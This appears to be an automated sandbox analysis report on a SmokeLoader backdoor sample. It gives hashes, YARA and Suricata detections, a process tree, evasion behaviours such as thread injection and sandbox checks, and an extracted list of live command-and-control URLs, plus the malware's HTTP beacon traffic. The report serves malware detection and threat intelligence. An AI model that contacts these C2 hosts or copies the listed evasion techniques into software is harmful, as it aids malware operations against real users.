Edit tour

Windows Analysis Report
vwaoMjcyAw.exe

Overview

General Information

Sample name:	vwaoMjcyAw.exe renamed because original name is a hash value
Original sample name:	49b527dacc10e6d0e9d2924ecc4e59a8d727d5a2eb89aea324d303f4c8e7ba28.exe
Analysis ID:	1496331
MD5:	5c86694b89a930b319f453e541d17869
SHA1:	3e476f9253d814620a2fa2b9bd19374d420a3c67
SHA256:	49b527dacc10e6d0e9d2924ecc4e59a8d727d5a2eb89aea324d303f4c8e7ba28
Tags:	45-66-231-202exeSmokeLoader
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected SmokeLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates a thread in another existing process (thread injection)

Deletes itself after installation

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to read the PEB

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

vwaoMjcyAw.exe (PID: 6940 cmdline: "C:\Users\user\Desktop\vwaoMjcyAw.exe" MD5: 5C86694B89A930B319F453E541D17869)

explorer.exe (PID: 4004 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

ifvwgru (PID: 3248 cmdline: C:\Users\user\AppData\Roaming\ifvwgru MD5: 5C86694B89A930B319F453E541D17869)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://goodfooggooftool.net/index.php", "http://sulugilioiu19.net/index.php", "http://selebration17io.io/index.php", "http://vacantion18ffeu.cc/index.php", "http://valarioulinity1.net/index.php", "http://buriatiarutuhuob.net/index.php", "http://cassiosssionunu.me/index.php"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000006.00000002.2485885145.0000000002C40000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2270182856.0000000002D02000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x75ab:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2269300413.0000000002BB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000006.00000002.2486160796.0000000002EC3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7243:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000006.00000002.2485978515.0000000002CB1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2269955686.0000000002CD1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000002.3447329337.0000000008751000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.2269686012.0000000002BC0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x6a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000002.00000002.3444065573.0000000002F21000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x2a4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
Process Memory Space: explorer.exe PID: 4004	ironshell_php	Semi-Auto-generated - file ironshell.php.txt	Neo23x0 Yara BRG + customization by Stefan -dfate- Molls	0x16656:$s2: ~ Shell I 0x95fc8:$s2: ~ Shell I
Click to see the 12 entries

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\ifvwgru, CommandLine: C:\Users\user\AppData\Roaming\ifvwgru, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\ifvwgru, NewProcessName: C:\Users\user\AppData\Roaming\ifvwgru, OriginalFileName: C:\Users\user\AppData\Roaming\ifvwgru, ParentCommandLine: , ParentImage: , ParentProcessId: 1064, ProcessCommandLine: C:\Users\user\AppData\Roaming\ifvwgru, ProcessId: 3248, ProcessName: ifvwgru

Suricata Signatures

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.6 - Destination IP: 188.40.141.211

Timestamp:	2024-08-21T07:12:54.073227+0200
SID:	2039103
Severity:	1
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.6 - Destination IP: 188.40.141.211

Timestamp:	2024-08-21T07:12:32.808611+0200
SID:	2039103
Severity:	1
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.6 - Destination IP: 188.40.141.211

Timestamp:	2024-08-21T07:12:54.307863+0200
SID:	2039103
Severity:	1
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Suspected Smokeloader Activity (POST) - Source IP: 192.168.2.6 - Destination IP: 188.40.141.211

Timestamp:	2024-08-21T07:12:33.042264+0200
SID:	2039103
Severity:	1
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://valarioulinity1.net/index.php	Avira URL Cloud: Label: malware
Source: http://selebration17io.io/	Avira URL Cloud: Label: phishing
Source: http://vacantion18ffeu.cc/index.php	Avira URL Cloud: Label: malware
Source: http://goodfooggooftool.net/index.php	Avira URL Cloud: Label: malware
Source: http://cassiosssionunu.me/index.php	Avira URL Cloud: Label: malware
Source: http://selebration17io.io/index.php	Avira URL Cloud: Label: malware
Source: http://sulugilioiu19.net/index.php	Avira URL Cloud: Label: malware
Source: http://buriatiarutuhuob.net/index.php	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000006.00000002.2485910630.0000000002C50000.00000004.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://goodfooggooftool.net/index.php", "http://sulugilioiu19.net/index.php", "http://selebration17io.io/index.php", "http://vacantion18ffeu.cc/index.php", "http://valarioulinity1.net/index.php", "http://buriatiarutuhuob.net/index.php", "http://cassiosssionunu.me/index.php"]}

Multi AV Scanner detection for domain / URL

Source: selebration17io.io	Virustotal: Detection: 16%	Perma Link
Source: http://vacantion18ffeu.cc/index.php	Virustotal: Detection: 21%	Perma Link
Source: http://selebration17io.io/	Virustotal: Detection: 16%	Perma Link
Source: http://valarioulinity1.net/index.php	Virustotal: Detection: 14%	Perma Link
Source: http://selebration17io.io/index.php	Virustotal: Detection: 14%	Perma Link
Source: http://goodfooggooftool.net/index.php	Virustotal: Detection: 15%	Perma Link
Source: http://buriatiarutuhuob.net/index.php	Virustotal: Detection: 15%	Perma Link
Source: http://sulugilioiu19.net/index.php	Virustotal: Detection: 13%	Perma Link
Source: http://cassiosssionunu.me/index.php	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\ifvwgru	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Roaming\ifvwgru	Virustotal: Detection: 76%			Perma Link

Multi AV Scanner detection for submitted file

Source: vwaoMjcyAw.exe	ReversingLabs: Detection: 73%
Source: vwaoMjcyAw.exe	Virustotal: Detection: 76%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\ifvwgru

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: vwaoMjcyAw.exe

Joe Sandbox ML: detected

Source: vwaoMjcyAw.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\vwaoMjcyAw.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:

Binary string: C:\dugo_caves\betuw sib.pdb source: vwaoMjcyAw.exe, ifvwgru.2.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2039103 - Severity 1 - ET MALWARE Suspected Smokeloader Activity (POST) : 192.168.2.6:49717 -> 188.40.141.211:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 188.40.141.211 80

Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://goodfooggooftool.net/index.php
Source: Malware configuration extractor	URLs: http://sulugilioiu19.net/index.php
Source: Malware configuration extractor	URLs: http://selebration17io.io/index.php
Source: Malware configuration extractor	URLs: http://vacantion18ffeu.cc/index.php
Source: Malware configuration extractor	URLs: http://valarioulinity1.net/index.php
Source: Malware configuration extractor	URLs: http://buriatiarutuhuob.net/index.php
Source: Malware configuration extractor	URLs: http://cassiosssionunu.me/index.php

Source: Joe Sandbox View

IP Address: 188.40.141.211 188.40.141.211

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atahmsiplorwquuw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 323Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://brprnhfudhwwlf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mwqxqnqsqljxlnw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: selebration17io.io
Source: global traffic	HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aeuothcasbr.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 168Host: selebration17io.io

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: selebration17io.io
Source: global traffic	DNS traffic detected: DNS query: 56.126.166.20.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://atahmsiplorwquuw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 323Host: selebration17io.io

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 7Content-Type: application/octet-streamDate: Wed, 21 Aug 2024 05:12:32 GMTData Raw: 03 00 00 00 1f 3d 19 Data Ascii: =
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Wed, 21 Aug 2024 05:12:32 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 7Content-Type: application/octet-streamDate: Wed, 21 Aug 2024 05:12:53 GMTData Raw: 03 00 00 00 1f 3d 19 Data Ascii: =
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Content-Length: 0Content-Type: application/octet-streamDate: Wed, 21 Aug 2024 05:12:54 GMT

Source: explorer.exe, 00000002.00000002.3452125149.000000000C385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.2979437025.000000000C385000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://aeuothcasbr.com/
Source: explorer.exe, 00000002.00000002.3452125149.000000000C385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.2979437025.000000000C385000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://aeuothcasbr.com/application/x-www-form-urlencodedMozilla/5.0
Source: explorer.exe, 00000002.00000002.3448807647.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://atahmsiplorwquuw.net/
Source: explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000978C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000978C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000002.00000000.2254640839.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000002.00000000.2251732709.00000000028A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.3446354300.0000000007B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000002.3446333236.0000000007B50000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000002.00000002.3452125149.000000000C385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000003.2979437025.000000000C385000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://selebration17io.io/
Source: explorer.exe, 00000002.00000002.3452963465.0000000010760000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3452941150.0000000010620000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://selebration17io.io/index.php
Source: explorer.exe, 00000002.00000000.2255032281.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 00000002.00000002.3451360110.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2256911237.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000002.00000000.2254640839.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000002.00000000.2254640839.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/I
Source: explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000002.00000000.2254640839.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000002.00000002.3447903568.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2254640839.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
Source: explorer.exe, 00000002.00000003.2979925369.000000000C08A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3451553162.000000000C08B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2256911237.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com-
Source: explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
Source: explorer.exe, 00000002.00000003.2979925369.000000000C08A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3451553162.000000000C08B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2256911237.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.come
Source: explorer.exe, 00000002.00000000.2256911237.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3451360110.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comEMd
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000002.00000002.3448807647.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2255032281.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/e
Source: explorer.exe, 00000002.00000003.2979925369.000000000C08A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3451553162.000000000C08B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2256911237.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comM
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
Source: explorer.exe, 00000002.00000000.2252804961.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000002.3445199941.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
